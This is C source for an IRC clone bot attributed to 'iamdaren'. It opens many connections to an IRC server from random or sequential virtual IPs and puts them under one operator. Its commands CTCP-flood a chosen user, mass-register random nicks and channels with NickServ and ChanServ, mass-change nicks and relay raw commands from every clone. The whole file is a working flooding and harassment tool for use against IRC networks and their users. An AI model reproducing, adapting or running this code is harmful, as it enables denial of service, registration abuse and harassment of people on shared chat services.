#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netdb.h>
#include <fcntl.h>
#include <errno.h>


#define SUBNET "195.205.23" /* The subnet to clone from, RANDOM AND SEQ
*/
#define STARTAT 1 /* The end of the IP to start at.. subnet.startat
		  /* If subnet is 127.0.0, and you want to start at
		  /* 127.0.0.8 for clones, make startat 8 */


#define STDIN 0

#ifndef INADDR_NONE /* SunOS sucks */
#define INADDR_NONE -1
#endif

int highest_fd;
int MAXFD;
int sip;
int sc[2048];
char myname[81];
char clonechan[81];


void    sockp(s, pattern, p1, p2, p3, p4, p5, p6, p7, p8)
int s;
char    *pattern, *p1, *p2, *p3, *p4, *p5, *p6, *p7, *p8;
{
	char sendbuf[1024];

	sprintf(sendbuf, pattern, p1, p2, p3, p4, p5, p6, p7, p8);
	write(s, sendbuf, strlen(sendbuf));
}

char *rans()
{
 char nick[30];
 char *blah;   
 bzero((char *)nick, 30);
 sprintf(nick, "%c%c%c%c%c%c%c%c%c", rand()%26+65, rand()%26+65,
rand()%26+65, rand()%26+65, rand()%26+65, rand()%26+65, rand()%26+65,
rand()%26+65, rand()%26+65);
blah = nick;
return blah;
}

char    *m_strdup (const char *str)
{
        char *ptr;
        char empty_string[] = "";

        if (!str)
                str = empty_string;
        ptr = (char *)malloc(strlen(str) + 1);
        return strcpy(ptr, str);
}

void    *getmyhostname(char *s)
{
        struct hostent *hp;

        gethostname(s,80);
        if (strchr(s, '.') != NULL)
                return;

        hp=gethostbyname(s);
        if (hp == NULL)
        {
                printf("Fatal Error! Hostname self-lookup failed!\n");
                exit(1);
        }

        strcpy(s, hp->h_name);
        if (strchr(s, '.') != NULL)
                return;

        if (hp->h_aliases[0] == NULL)
        {
                printf("Fatal Error! Can't determine your hostname!\n");
                exit(1);
        }

        strcpy(s, hp->h_aliases[0]);
        if (strchr(s, '.') == NULL)
        {
                printf("Fatal Error! Can't determine your hostname!\n");
                exit(1);
        }
}

int do_connect(char *hstname, u_short port, char *vhost)
{
        int s = -1;
        struct hostent *he;
        struct sockaddr_in sin;
        struct sockaddr_in localaddr;
	struct hostent * hp;        
	struct  in_addr LocalHostAddr;
	char clone[80];

        s = socket(AF_INET, SOCK_STREAM, 0);
        if(s < 0)
                return -2;

	if(vhost)
	{
		if (!strncasecmp(vhost, "RANDOM", 6))
		{
			sprintf(clone, "%s.%d", SUBNET, random()%90+1);
			printf("Random IP: %s\n", clone);
			if ((hp = gethostbyname(clone)))
			memcpy((void *)&LocalHostAddr, hp->h_addr, sizeof(LocalHostAddr));		
		} else
		if (!strncasecmp(vhost, "SEQ", 3))
		{
			sip++;
			sprintf(clone, "%s.%d", SUBNET, sip);
			printf("Sequential IP: %s\n", clone);
			if ((hp = gethostbyname(clone)))
			memcpy((void *)&LocalHostAddr, hp->h_addr, sizeof(LocalHostAddr));		
		}
		else if ((hp = gethostbyname(vhost)))
			memcpy((void *)&LocalHostAddr, hp->h_addr, sizeof(LocalHostAddr));
		memset(&localaddr, 0, sizeof(struct sockaddr_in));
		localaddr.sin_family = AF_INET;
		localaddr.sin_addr = LocalHostAddr;
		localaddr.sin_port = 0;
		if (bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr)))
		{
			close(s);
			return -2;
		}

	}
        memset(&sin, 0, sizeof(struct sockaddr_in));
        sin.sin_family = AF_INET;
        sin.sin_port = htons(port);
        sin.sin_addr.s_addr = inet_addr(hstname);
        if(sin.sin_addr.s_addr == INADDR_NONE)
        {
                he = gethostbyname(hstname);
                if(!he)
		{
			close(s);
                        return -1;
		}
                memcpy(&sin.sin_addr, he->h_addr, he->h_length);
        }
        if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
        {
                close(s);
                return -2;
        }
	if (s > highest_fd)
		highest_fd = s;
        return s;
}

void procstdin(buf)
char buf[1024];
{
	char *bufloc, *nick, *ctcp;
	int i;

	if(!strncasecmp(buf, "RNICK", 5))
	{
	 char *rcn;
	  for (i = highest_fd; i >= 0; i--)
		if (sc[i] > 0)	{
		rcn = rans();
		sockp(i, "NICK %s\n", rcn); 
		}
	 printf("Random nicks complete.\n");
	 return;
	}
	if(!strncasecmp(buf, "RJOIN", 5))
	{
	 char *rcn;
	  for (i = highest_fd; i >= 0; i--)
		if (sc[i] > 0)	{
		rcn = rans();
		sockp(i, "NICK %s\n", rcn); 
		sockp(i, "PRIVMSG NickServ :REGISTER askdfjas\n"); 
		}
	sleep(3);
	 printf("Joining..\n");
	  for (i = highest_fd; i >= 0; i--)
		if (sc[i] > 0)	{
		rcn = rans();
		sockp(i, "JOIN #%s\n", rcn); 
		sockp(i, "PRIVMSG ChanServ :REGISTER #%s askdfjas Lame chan.\n", rcn); 
		}
	  sleep(5);
	  for (i = highest_fd; i >= 0; i--)
		if (sc[i] > 0)	
		sockp(i, "JOIN 0\n");
	 printf("Done.\n");
	 return;
	}
	if(!strncasecmp(buf, "CTCPFLOOD", 9))
	{
		bufloc = strtok(buf, " ");
		nick = strtok(NULL, "\r\n");
		printf("CTCP flooding %s\n", nick);
		for (i = highest_fd; i >= 0; i--)
			if (sc[i] > 0)
				sockp(i, "PRIVMSG %s :\001VERSION\001\n", nick);
		for (i = highest_fd; i >= 0; i--)
			if (sc[i] > 0)
				sockp(i, "PRIVMSG %s :\001CLIENTINFO\001\n", nick);
		for (i = highest_fd; i >= 0; i--)
			if (sc[i] > 0)
				sockp(i, "PRIVMSG %s :\001USERINFO\001\n", nick);
		for (i = highest_fd; i >= 0; i--)
			if (sc[i] > 0)
				sockp(i, "PRIVMSG %s :\001VERSION\001\n", nick);
		for (i = highest_fd; i >= 0; i--)
			if (sc[i] > 0)
				sockp(i, "PRIVMSG %s :\001PING\001\n", nick);
		return;
	}

	if(!strncasecmp(buf, "CTCP", 4))
	{
		bufloc = strtok(buf, " ");
		nick = strtok(NULL, " ");
		bufloc = strtok(NULL, "");
		printf("CTCP to %s: %s\n", nick, bufloc);
		for (i = highest_fd; i >= 0; i--)
			if (sc[i] > 0)
				sockp(i, "PRIVMSG %s :\001%s\001", nick, bufloc);
		return;
	}


	if(!strncasecmp(buf, "RAW", 3))
	{
		printf("Processing RAW command\n");
		bufloc = strtok(buf, " ");
		bufloc = strtok(NULL, "");
		for (i = highest_fd; i >= 0; i--)
			if (sc[i] > 0)
				sockp(i, "%s", bufloc);
	}
}

void procbuf(buf,s)
char buf[1024];
int s;
{
	char *nspoof, *bufloc;

	if(bufloc = strstr(buf, "PING"))
	{
		nspoof = strtok(bufloc, " ");
		nspoof = strtok(NULL, " ");
		sockp(s, "PONG %s\n", nspoof);
		sockp(s, "JOIN %s\n", clonechan);
	}
}

void mainloop()
{
	fd_set  read_set, write_set;
	int     res, length, fd, i, nfds;
	int     auth = 0;
	char	buf[1024];	

while(1)
{

	for (res = 0;;)
	{
		FD_ZERO(&read_set);

		for (i = highest_fd; i >= 0; i--)
		{
			if ((sc[i] < 0) && (i != STDIN))
				continue;
			FD_SET(i,&read_set);
		}
		nfds = select((highest_fd + 1), &read_set, NULL, NULL, NULL);
		if (nfds >= 0)
			break;
		printf("Eww select error!");
		sleep(10);
	}

	for (i = highest_fd; i >= 0; i--)
		if (FD_ISSET(i, &read_set) && (i != STDIN))
		{
			FD_CLR(i, &read_set);
			memset(buf, 0, sizeof(buf));
			if (read(i, buf, sizeof(buf)) <= 0)
			{
				close(i);
				printf("dead sock: %d\n", i);
				if (i == highest_fd)
					highest_fd--;
				sc[i] = -1;
			}
		    else
			{
				procbuf(buf,i);
			}
		}
	   else
		if (FD_ISSET(i, &read_set) && (i == STDIN))
		{
			FD_CLR(i, &read_set);
			memset(buf, 0, sizeof(buf));
			if (read(i, buf, sizeof(buf)) <= 0)
			{
				printf("Eww! Read error from stdin! Exiting!\n");
				exit(1);
			}
			procstdin(buf);
		}

}
}

int main(int argc, char *argv[])
{
	struct sockaddr_in sin; 
	int i, j;
	int dport, sock, clnum = 0;
	char *servername, *np, *cln, *clchan, *hostn;
	char clnick[80], cluser[80];

	if (argc  < 6)
	{
		printf("bnc.c by iamdaren\n");
		printf("use: clone <amount> <server> <port> <nickprefix> <channel> <ip/RANDOM/SEQ/null>\n");
		printf("example: clone 70 irc.webbernet.net 6678 daren #caryl seq\n");
		printf("  SEQ - sequential virtual IP's, RAND = random..\n");
		exit(0);
	}

	dport=atoi(argv[3]);
	servername=argv[2];
	np = argv[4];	

	hostn = argv[6];

	clchan = argv[5];

	sprintf(clonechan, "#%s", clchan);

	MAXFD = atoi(argv[1]);

	printf("Cloning %d clones (%s) on %s port %d in %s [from %s]\n",
		MAXFD, np, servername, dport, clonechan, hostn);

	sleep(1);

	i = 0;

	sip = STARTAT - 1;

	for(i=0;i<2048;i++)
		sc[i]= -1;



	for(i=0;i<MAXFD;i++)
	{
		sock = do_connect(servername, dport, hostn);
		if (sock > 0)
		{
			printf("Successful clone on fd %d\n", sock);
			sc[sock] = 1;
		}
		else
 			printf("Connect failed: %s\n",  errno ? strerror(errno) : "unknown host");

	}
	
	j = 0;

	highest_fd = sock;


    for(j=1;j<2048;j++)
	if(sc[j] > 0)
	{
			clnum++;
			sprintf(clnick, "NICK %s%d\n", np, clnum);
			sprintf(cluser, "USER %s%d blah.com blah.com :tC Clones!\n", np, clnum);
			write(j, clnick, strlen(clnick));
			write(j, cluser, strlen(cluser));
			sprintf(clnick, "JOIN %s\n", clonechan);
			write(j, clnick, strlen(clnick));
	}

	printf("All sockets connected.\n");

	mainloop();
}

